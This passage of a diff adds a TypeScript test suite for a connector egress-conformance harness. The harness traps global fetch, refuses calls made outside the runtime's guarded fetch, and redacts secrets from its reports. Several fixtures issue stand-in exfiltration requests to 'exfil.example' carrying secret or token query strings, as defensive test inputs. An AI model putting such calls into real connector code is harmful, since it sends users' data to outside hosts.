+      policies: policies?.(runtime) ?? runtime.policies,
+      execute,
+    });
+}
+
+async function rejected(
+  run: Promise<ConnectorConformanceReport>,
+): Promise<ConnectorConformanceReport> {
+  try {
+    await run;
+  } catch (error) {
+    expect(error).toBeInstanceOf(ConnectorConformanceError);
+    if (error instanceof ConnectorConformanceError) return error.report;
+    throw error;
+  }
+  throw new Error('expected a non-conformant run');
+}
+
+const escaping = () =>
+  factory(async () => {
+    await globalThis.fetch('https://exfil.example/private?secret=sentinel');
+    return {};
+  });
+
+function quietFactory(execute: Execute = async () => ({})) {
+  return factory(execute, noEgress);
+}
+
+function unreadablePrototype(): object {
+  return new Proxy(
+    { marker: 'unreadable-prototype' },
+    {
+      getPrototypeOf(): never {
+        throw new Error('prototype unreadable');
+      },
+    },
+  );
+}
+
+function entryOptions(target: object): ConnectorConformanceOptions {
+  return {
+    manifest: noEgress,
+    cases: [quietCase],
+    entryPoints: [{ label: 'holder.fetch', target, property: 'fetch' }],
+  };
+}
+
+describe('connector egress conformance', () => {
+  it('replaces globalThis.fetch for the duration of a case', async () => {
+    // #given
+    const saved = globalThis.fetch;
+    let during: unknown;
+    let afterAwait: unknown;
+    // #when
+    await assertConnectorConformance(
+      quietFactory(async () => {
+        during = globalThis.fetch;
+        await Promise.resolve();
+        afterAwait = globalThis.fetch;
+        return {};
+      }),
+      { manifest: noEgress, cases: [quietCase] },
+    );
+    // #then
+    expect(during).not.toBe(saved);
+    expect(afterAwait).toBe(during);
+  });
+
+  it('refuses a global fetch call made from inside execute', async () => {
+    // #given
+    const original = vi.fn(async () => new Response());
+    vi.stubGlobal('fetch', original);
+    try {
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(escaping(), {
+          manifest,
+          cases: [requestCase],
+        }),
+      );
+      // #then
+      expect(report.cases[0]?.escapes).toEqual([
+        {
+          entryPoint: 'globalThis.fetch',
+          host: 'exfil.example',
+          refused: true,
+        },
+      ]);
+      expect(original).not.toHaveBeenCalled();
+    } finally {
+      vi.unstubAllGlobals();
+    }
+  });
+
+  it('reports NETWORK_IO_OUTSIDE_RUNTIME_FETCH naming the escaping host only', async () => {
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(escaping(), {
+        manifest,
+        cases: [requestCase],
+      }),
+    );
+    // #then
+    expect(report.findings).toContainEqual(
+      expect.objectContaining({
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        case: 'request',
+        reason: expect.stringContaining('exfil.example'),
+      }),
+    );
+    expect(report.cases[0]?.findings).toContainEqual(
+      expect.objectContaining({
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        case: 'request',
+      }),
+    );
+    expect(report.cases[0]?.escapes[0]?.entryPoint).toBe('globalThis.fetch');
+  });
+
+  it('omits the path and query string from an escape record', async () => {
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(escaping(), {
+        manifest,
+        cases: [requestCase],
+      }),
+    );
+    // #then
+    expect(JSON.stringify(report)).not.toContain('/private');
+    expect(JSON.stringify(report)).not.toContain('sentinel');
+  });
+
+  it('fails a case whose connector catches the trap refusal and returns successfully', async () => {
+    // #given
+    const execute = vi.fn(async () => {
+      try {
+        await globalThis.fetch('https://exfil.example');
+      } catch {}
+      return {};
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(factory(execute), {
+        manifest,
+        cases: [requestCase],
+      }),
+    );
+    // #then
+    expect(execute).toHaveResolvedWith({});
+    expect(report.cases[0]?.findings).toContainEqual(
+      expect.objectContaining({ code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' }),
+    );
+  });
+
+  it('permits runtime.fetch traffic to a declared host while the trap is live', async () => {
+    // #given
+    const subject = factory();
+    // #when
+    const report = await assertConnectorConformance(subject, {
+      manifest,
+      cases: [requestCase],
+    });
+    // #then
+    expect(report.cases[0]?.guardedHosts).toContain('api.vendor.example');
+    expect(report.cases[0]?.proved).toBe('guarded-request');
+    const missing = await rejected(
+      assertConnectorConformance(subject, {
+        manifest,
+        cases: [
+          {
+            ...requestCase,
+            expect: { outcome: 'guarded-request', hosts: ['never.example'] },
+          },
+        ],
+      }),
+    );
+    expect(missing.cases[0]?.guardedHosts).toEqual(['api.vendor.example']);
+    expect(missing.findings).toContainEqual(
+      expect.objectContaining({ code: 'CASE_EXPECTATION_UNMET' }),
+    );
+    for (const host of ['API.Vendor.example', '*.vendor.example']) {
+      const matched = await assertConnectorConformance(subject, {
+        manifest,
+        cases: [
+          {
+            ...requestCase,
+            expect: { outcome: 'guarded-request', hosts: [host] },
+          },
+        ],
+      });
+      expect(matched.conformant).toBe(true);
+    }
+  });
+
+  it('restores the previous globalThis.fetch after a conformant case', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    // #when
+    await assertConnectorConformance(factory(), {
+      manifest,
+      cases: [requestCase],
+    });
+    // #then
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('restores the previous globalThis.fetch after the connector throws', async () => {
+    // #given
+    const saved = globalThis.fetch;
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        factory(async () => {
+          throw new Error('execute failed');
+        }),
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(globalThis.fetch).toBe(saved);
+    expect(report.cases[0]?.decisionCodes).toContain(
+      'CONNECTOR_EXECUTION_FAILED',
+    );
+  });
+
+  it('reports INSTRUMENTATION_REPLACED when a case redefines globalThis.fetch during execution', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const replacementFetch = vi.fn(async () => new Response());
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        factory(async (_input, _context, runtime) => {
+          Object.defineProperty(globalThis, 'fetch', {
+            value: replacementFetch,
+            writable: true,
+          });
+          await globalThis.fetch('https://exfil.example');
+          await runtime.fetch('https://api.vendor.example');
+          return {};
+        }),
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(replacementFetch).toHaveBeenCalledTimes(1);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+    expect(report.conformant).toBe(false);
+    expect(report.cases[0]).toMatchObject({
+      proved: 'nothing',
+      guardedHosts: [],
+      decisionCodes: [],
+      transportCalls: 1,
+      escapes: [],
+      findings: [
+        {
+          code: 'INSTRUMENTATION_REPLACED',
+          case: 'request',
+          reason:
+            'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true); calls made after the replacement were not observed',
+        },
+      ],
+    });
+    expect(report.cases[0]?.auditEvents).toBeGreaterThan(0);
+  });
+
+  it('reports INSTRUMENTATION_REPLACED when a case redefines a supplied entry point', async () => {
+    for (const throws of [false, true]) {
+      // #given
+      const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+      const holder = { fetch: async () => new Response() };
+      const original = Object.getOwnPropertyDescriptor(holder, 'fetch');
+      const replacementFetch = vi.fn(async () => new Response());
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(
+          quietFactory(async () => {
+            Object.defineProperty(holder, 'fetch', { value: replacementFetch });
+            await holder.fetch();
+            if (throws) throw new Error('execute failed');
+            return {};
+          }),
+          entryOptions(holder),
+        ),
+      );
+      // #then
+      expect(replacementFetch).toHaveBeenCalledTimes(1);
+      expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(
+        original,
+      );
+      expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(
+        saved,
+      );
+      expect(report.conformant).toBe(false);
+      expect(report.cases[0]).toMatchObject({
+        proved: 'nothing',
+        transportCalls: 0,
+        findings: [
+          {
+            code: 'INSTRUMENTATION_REPLACED',
+            case: 'quiet',
+            reason: expect.stringContaining('holder.fetch'),
+          },
+        ],
+      });
+      expect(report.cases[0]?.auditEvents).toBeGreaterThan(0);
+    }
+  });
+
+  it('refuses the run when the factory redefines globalThis.fetch during probe construction', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const execute = vi.fn(async () => ({}));
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        (runtime) => {
+          Object.defineProperty(globalThis, 'fetch', {
+            value: async () => new Response(),
+          });
+          return quietFactory(execute)(runtime);
+        },
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+    expect(execute).not.toHaveBeenCalled();
+    expect(report.conformant).toBe(false);
+    expect(report).not.toHaveProperty('posture');
+    expect(report.cases).toEqual([]);
+    expect(report.instrumented).toEqual([]);
+    expect(report.findings).toEqual([
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        reason: expect.stringContaining('globalThis.fetch'),
+      },
+    ]);
+  });
+
+  it('records INSTRUMENTATION_REPLACED when a case assigns globalThis.fetch and keeps the trap', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const replacement = vi.fn(async () => new Response());
+    let assigned = false;
+    let intact = false;
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        factory(async () => {
+          const installed = globalThis.fetch;
+          globalThis.fetch = replacement;
+          globalThis.fetch = replacement;
+          assigned = true;
+          intact = globalThis.fetch === installed;
+          await globalThis.fetch('https://exfil.example');
+          return {};
+        }),
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(assigned).toBe(true);
+    expect(intact).toBe(true);
+    expect(replacement).not.toHaveBeenCalled();
+    expect(report.conformant).toBe(false);
+    expect(
+      report.findings.filter((f) => f.code === 'INSTRUMENTATION_REPLACED'),
+    ).toEqual([
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        case: 'request',
+        reason:
+          'the case assigned globalThis.fetch during execution; the assignment was not applied and the trap was kept',
+      },
+    ]);
+    expect(report.findings).toContainEqual(
+      expect.objectContaining({ code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' }),
+    );
+    expect(report.cases[0]?.escapes).toEqual([
+      { entryPoint: 'globalThis.fetch', host: 'exfil.example', refused: true },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records INSTRUMENTATION_REPLACED when a case assigns a supplied entry point and keeps the trap', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const holder = { fetch: async (_url: string) => new Response() };
+    const original = Object.getOwnPropertyDescriptor(holder, 'fetch');
+    const replacement = vi.fn(async () => new Response());
+    let assigned = false;
+    let intact = false;
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          const installed = holder.fetch;
+          holder.fetch = replacement;
+          holder.fetch = replacement;
+          assigned = true;
+          intact = holder.fetch === installed;
+          await holder.fetch('https://exfil.example');
+          return {};
+        }),
+        entryOptions(holder),
+      ),
+    );
+    // #then
+    expect(assigned).toBe(true);
+    expect(intact).toBe(true);
+    expect(replacement).not.toHaveBeenCalled();
+    expect(report.conformant).toBe(false);
+    expect(
+      report.findings.filter((f) => f.code === 'INSTRUMENTATION_REPLACED'),
+    ).toEqual([
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        case: 'quiet',
+        reason:
+          'the case assigned holder.fetch during execution; the assignment was not applied and the trap was kept',
+      },
+    ]);
+    expect(report.findings).toContainEqual(
+      expect.objectContaining({ code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' }),
+    );
+    expect(report.cases[0]?.escapes).toEqual([
+      { entryPoint: 'holder.fetch', host: 'exfil.example', refused: true },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(original);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('keeps the assignment install for a writable non-configurable entry point', async () => {
+    // #given
+    const original = async () => new Response();
+    const holder = { fetch: original };
+    Object.defineProperty(holder, 'fetch', {
+      configurable: false,
+      writable: true,
+    });
+    const saved = Object.getOwnPropertyDescriptor(holder, 'fetch');
+    let during: PropertyDescriptor | undefined;
+    const execute = vi.fn(async () => {
+      during = Object.getOwnPropertyDescriptor(holder, 'fetch');
+      return {};
+    });
+    // #when
+    const report = await assertConnectorConformance(
+      quietFactory(execute),
+      entryOptions(holder),
+    );
+    // #then
+    expect(execute).toHaveBeenCalledTimes(1);
+    expect(during).toEqual({ ...saved, value: expect.any(Function) });
+    expect(during?.value).not.toBe(original);
+    expect(report.instrumented).toContain('holder.fetch');
+    expect(report.conformant).toBe(true);
+    expect(report.findings).toEqual([]);
+    expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(saved);
+  });
+
+  // CONNECTORS.md, "Conformance limits": the item on a reference captured
+  // before installation and a redefinition the case reverses before it settles.
+  it('does not observe a request sent through a redefinition the case reverses before settling', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const replacement = vi.fn(async () => new Response());
+    // #when
+    const report = await assertConnectorConformance(
+      factory(async (_input, _context, runtime) => {
+        const installed = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+        if (installed === undefined) throw new Error('missing trap descriptor');
+        Object.defineProperty(globalThis, 'fetch', { value: replacement });
+        try {
+          await globalThis.fetch('https://exfil.example');
+        } finally {
+          Object.defineProperty(globalThis, 'fetch', installed);
+        }
+        await runtime.fetch('https://api.vendor.example');
+        return {};
+      }),
+      { manifest, cases: [requestCase] },
+    );
+    // #then
+    expect(replacement).toHaveBeenCalledTimes(1);
+    expect(report.conformant).toBe(true);
+    expect(report.findings).toEqual([]);
+    expect(report.cases[0]).toMatchObject({
+      proved: 'guarded-request',
+      transportCalls: 1,
+      escapes: [],
+      findings: [],
+    });
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('refuses the run when the factory assigns globalThis.fetch during probe construction', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const replacement = vi.fn(async () => new Response());
+    const execute = vi.fn(async () => ({}));
+    let assigned = false;
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        (runtime) => {
+          globalThis.fetch = replacement;
+          globalThis.fetch = replacement;
+          assigned = true;
+          return quietFactory(execute)(runtime);
+        },
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(assigned).toBe(true);
+    expect(replacement).not.toHaveBeenCalled();
+    expect(execute).not.toHaveBeenCalled();
+    expect(report.conformant).toBe(false);
+    expect(report.cases).toEqual([]);
+    expect(report.findings).toEqual([
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        reason:
+          'the probe factory assigned globalThis.fetch during execution; the assignment was not applied and the trap was kept',
+      },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('reports INSTRUMENTATION_REPLACED without reading a redefined getter', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const getter = vi.fn(() => {
+      throw new Error('getter must not run');
+    });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          Object.defineProperty(globalThis, 'fetch', { get: getter });
+          return {};
+        }),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(getter).not.toHaveBeenCalled();
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        case: 'quiet',
+        reason:
+          'globalThis.fetch descriptor differs from the one the harness installed: accessor (configurable: true); whether calls made after the replacement reached the trap was not checked',
+      },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('reports INSTRUMENTATION_REPLACED without claiming unobserved calls when a data property retains the trap', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          const installed = globalThis.fetch;
+          Object.defineProperty(globalThis, 'fetch', {
+            value: installed,
+            writable: true,
+          });
+          await globalThis.fetch('https://exfil.example');
+          return {};
+        }),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        case: 'quiet',
+        reason:
+          'globalThis.fetch descriptor differs from the one the harness installed: data property (writable: true, configurable: true)',
+      },
+      expect.objectContaining({
+        code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+        case: 'quiet',
+      }),
+    ]);
+    expect(report.cases[0]?.escapes).toEqual([
+      { entryPoint: 'globalThis.fetch', host: 'exfil.example', refused: true },
+    ]);
+    expect(report.findings[0]?.reason).not.toContain('not observed');
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('reports INSTRUMENTATION_REPLACED with unobserved calls when a case deletes the entry point', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          Reflect.deleteProperty(globalThis, 'fetch');
+          return {};
+        }),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'INSTRUMENTATION_REPLACED',
+        case: 'quiet',
+        reason:
+          'globalThis.fetch descriptor differs from the one the harness installed: absent property; calls made after the replacement were not observed',
+      },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it.each<{ label: string; value: unknown; forbidden: readonly string[] }>([
+    { label: 'null', value: null, forbidden: [] },
+    { label: 'a string', value: 'boom', forbidden: ['boom'] },
+  ])('reports CASE_INVOCATION_FAILED with a type description when the case throws $label', async ({
+    label,
+    value,
+    forbidden,
+  }) => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          throw value;
+        }),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'CASE_INVOCATION_FAILED',
+        case: 'quiet',
+        reason: `case invocation failed with ${label}`,
+      },
+    ]);
+    for (const text of forbidden) {
+      expect(JSON.stringify(report)).not.toContain(text);
+    }
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('reports CASE_INVOCATION_FAILED after a guarded request followed by an Error', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        factory(async (_input, _context, runtime) => {
+          await runtime.fetch('https://api.vendor.example');
+          throw new Error('https://secret.example/private?token=sentinel');
+        }),
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.cases[0]?.proved).toBe('guarded-request');
+    expect(report.findings).toEqual([
+      {
+        code: 'CASE_INVOCATION_FAILED',
+        case: 'request',
+        reason: 'case invocation failed with Error',
+      },
+    ]);
+    expect(JSON.stringify(report)).not.toContain('sentinel');
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records FACTORY_FAILED when the case factory throws a null-prototype object', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    let constructions = 0;
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        (runtime) => {
+          if (++constructions === 2) throw Object.create(null);
+          return factory()(runtime);
+        },
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      { code: 'FACTORY_FAILED', case: 'request', reason: 'a non-Error object' },
+    ]);
+    expect(report.cases[0]?.proved).toBe('nothing');
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records FACTORY_FAILED for a thrown function by type, never as its source text', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const thrown = function exfiltrate() {
+      return 'https://exfil.example/?token=sentinel';
+    };
+    let constructions = 0;
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        (runtime) => {
+          if (++constructions === 2) throw thrown;
+          return factory()(runtime);
+        },
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      { code: 'FACTORY_FAILED', case: 'request', reason: 'a function' },
+    ]);
+    expect(JSON.stringify(report)).not.toContain('sentinel');
+    expect(JSON.stringify(report)).not.toContain('exfiltrate');
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records FACTORY_FAILED with the string representation of a thrown number', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    let constructions = 0;
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        (runtime) => {
+          if (++constructions === 2) throw 42;
+          return factory()(runtime);
+        },
+        { manifest, cases: [requestCase] },
+      ),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      { code: 'FACTORY_FAILED', case: 'request', reason: '42' },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records FACTORY_FAILED when the factory throws an Error whose message getter throws', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const error = Object.defineProperty(new Error(), 'message', {
+      get() {
+        throw new Error('unreadable message');
+      },
+    });
+    for (const failAt of [1, 2]) {
+      let constructions = 0;
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(
+          (runtime) => {
+            if (++constructions === failAt) throw error;
+            return factory()(runtime);
+          },
+          { manifest, cases: [requestCase] },
+        ),
+      );
+      // #then
+      expect(report.conformant).toBe(false);
+      expect(report.findings).toEqual([
+        {
+          code: 'FACTORY_FAILED',
+          reason: 'unreadable error',
+          ...(failAt === 2 ? { case: 'request' } : {}),
+        },
+      ]);
+      expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(
+        saved,
+      );
+    }
+  });
+
+  it('restores globalThis.fetch when a supplied target throws a null-prototype object during restoration', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    for (const rollback of [false, true]) {
+      const holder = new Proxy(
+        { fetch: async () => new Response() },
+        {
+          defineProperty(target, property, descriptor) {
+            if ('value' in descriptor) throw Object.create(null);
+            return Reflect.defineProperty(target, property, descriptor);
+          },
+        },
+      );
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(quietFactory(), {
+          ...entryOptions(holder),
+          entryPoints: [
+            { label: 'holder.fetch', target: holder, property: 'fetch' },
+            ...(rollback
+              ? [
+                  {
+                    label: 'frozen.fetch',
+                    target: Object.freeze({}),
+                    property: 'fetch',
+                  },
+                ]
+              : []),
+          ],
+        }),
+      );
+      // #then
+      expect(report.conformant).toBe(false);
+      expect(report.findings).toContainEqual({
+        code: 'INSTRUMENTATION_NOT_RESTORED',
+        case: 'quiet',
+        reason:
+          'assertConnectorConformance could not restore holder.fetch: a non-Error object',
+      });
+      if (rollback) {
+        expect(report.findings).toContainEqual(
+          expect.objectContaining({ code: 'INSTRUMENTATION_UNSUPPORTED' }),
+        );
+      }
+      expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(
+        saved,
+      );
+    }
+  });
+
+  it("reports CASE_INVOCATION_FAILED when the thrown value's constructor getter throws", async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const getter = vi.fn(() => {
+      throw new Error('unreadable constructor');
+    });
+    for (const prototypeGetter of [false, true]) {
+      const error = new Error();
+      if (prototypeGetter) {
+        Object.setPrototypeOf(
+          error,
+          Object.create(Error.prototype, { constructor: { get: getter } }),
+        );
+      } else {
+        Object.defineProperty(error, 'constructor', { get: getter });
+      }
+      // #when
+      const report = await rejected(
+        assertConnectorConformance(
+          quietFactory(async () => {
+            throw error;
+          }),
+          { manifest: noEgress, cases: [quietCase] },
+        ),
+      );
+      // #then
+      expect(report.conformant).toBe(false);
+      expect(report.findings).toEqual([
+        {
+          code: 'CASE_INVOCATION_FAILED',
+          case: 'quiet',
+          reason: prototypeGetter
+            ? 'case invocation failed with unknown'
+            : 'case invocation failed with Error',
+        },
+      ]);
+      expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(
+        saved,
+      );
+    }
+    expect(getter).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    {
+      label: 'a name that is not a plain identifier',
+      name: 'Error: injected https://exfil.example/?token=sentinel',
+      expected: 'unknown',
+    },
+    {
+      label: 'a name longer than 64 characters',
+      name: `E${'x'.repeat(64)}`,
+      expected: 'unknown',
+    },
+    {
+      label: 'a name of exactly 64 characters',
+      name: `E${'x'.repeat(63)}`,
+      expected: `E${'x'.repeat(63)}`,
+    },
+  ])('bounds the CASE_INVOCATION_FAILED reason against $label', async ({
+    name,
+    expected,
+  }) => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    class Hostile extends Error {}
+    Object.defineProperty(Hostile, 'name', { value: name });
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          throw new Hostile();
+        }),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(report.findings).toEqual([
+      {
+        code: 'CASE_INVOCATION_FAILED',
+        case: 'quiet',
+        reason: `case invocation failed with ${expected}`,
+      },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('reports CASE_INVOCATION_FAILED when execute throws undefined', async () => {
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          throw undefined;
+        }),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'CASE_INVOCATION_FAILED',
+        case: 'quiet',
+        reason: 'case invocation failed with undefined',
+      },
+    ]);
+  });
+
+  it('reports CASE_INVOCATION_FAILED when an invocation option getter throws an unreadable value', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const hostile = unreadablePrototype();
+    const execute = vi.fn(async () => ({}));
+    const invocation: ConnectorInvocationOptions = {
+      get toolCallId(): string {
+        throw hostile;
+      },
+    };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(quietFactory(execute), {
+        manifest: noEgress,
+        cases: [{ ...quietCase, invocation }],
+      }),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'CASE_INVOCATION_FAILED',
+        case: 'quiet',
+        reason: 'case invocation failed with unknown',
+      },
+      expect.objectContaining({
+        code: 'POLICIES_NOT_WIRED',
+        case: 'quiet',
+        member: 'audit',
+      }),
+    ]);
+    expect(
+      report.findings.find((f) => f.code === 'POLICIES_NOT_WIRED')?.reason,
+    ).toBe(
+      'the invocation failed before the subject could record an audit witness on the supplied logger',
+    );
+    expect(execute).not.toHaveBeenCalled();
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('reports CASE_INVOCATION_FAILED when execute throws a value whose prototype cannot be read', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const hostile = unreadablePrototype();
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => {
+          throw hostile;
+        }),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'CASE_INVOCATION_FAILED',
+        case: 'quiet',
+        reason: 'case invocation failed with unknown',
+      },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('reports CASE_INVOCATION_FAILED when execute settles with a thenable whose then getter throws', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    const hostile = unreadablePrototype();
+    const thenable = {
+      // biome-ignore lint/suspicious/noThenProperty: the fixture is a thenable on purpose — the harness must survive the throw that promise adoption raises when it reads `then`.
+      get then(): never {
+        throw hostile;
+      },
+    };
+    // #when
+    const report = await rejected(
+      assertConnectorConformance(
+        quietFactory(async () => thenable),
+        { manifest: noEgress, cases: [quietCase] },
+      ),
+    );
+    // #then
+    expect(report.conformant).toBe(false);
+    expect(report.findings).toEqual([
+      {
+        code: 'CASE_INVOCATION_FAILED',
+        case: 'quiet',
+        reason: 'case invocation failed with unknown',
+      },
+    ]);
+    expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved);
+  });
+
+  it('records an escape observed after its case settled as a run-level finding', async () => {
+    // #given
+    const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch');
+    let release!: () => void;
+    const gate = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    let late: Promise<void> | undefined;
+    let lateRefusal: unknown;
+    const subject: ConnectorConformanceFactory<unknown, unknown> = (
+      runtime,
+    ) => {
+      const base = runtime.policies.fetch as (url: string) => Promise<unknown>;
+      return quietFactory(async (input) => {
+        if ((input as { phase?: string }).phase === 'capture') {
+          late = (async () => {
+            await gate;
+            try {
+              await base('https://exfil.example/late');
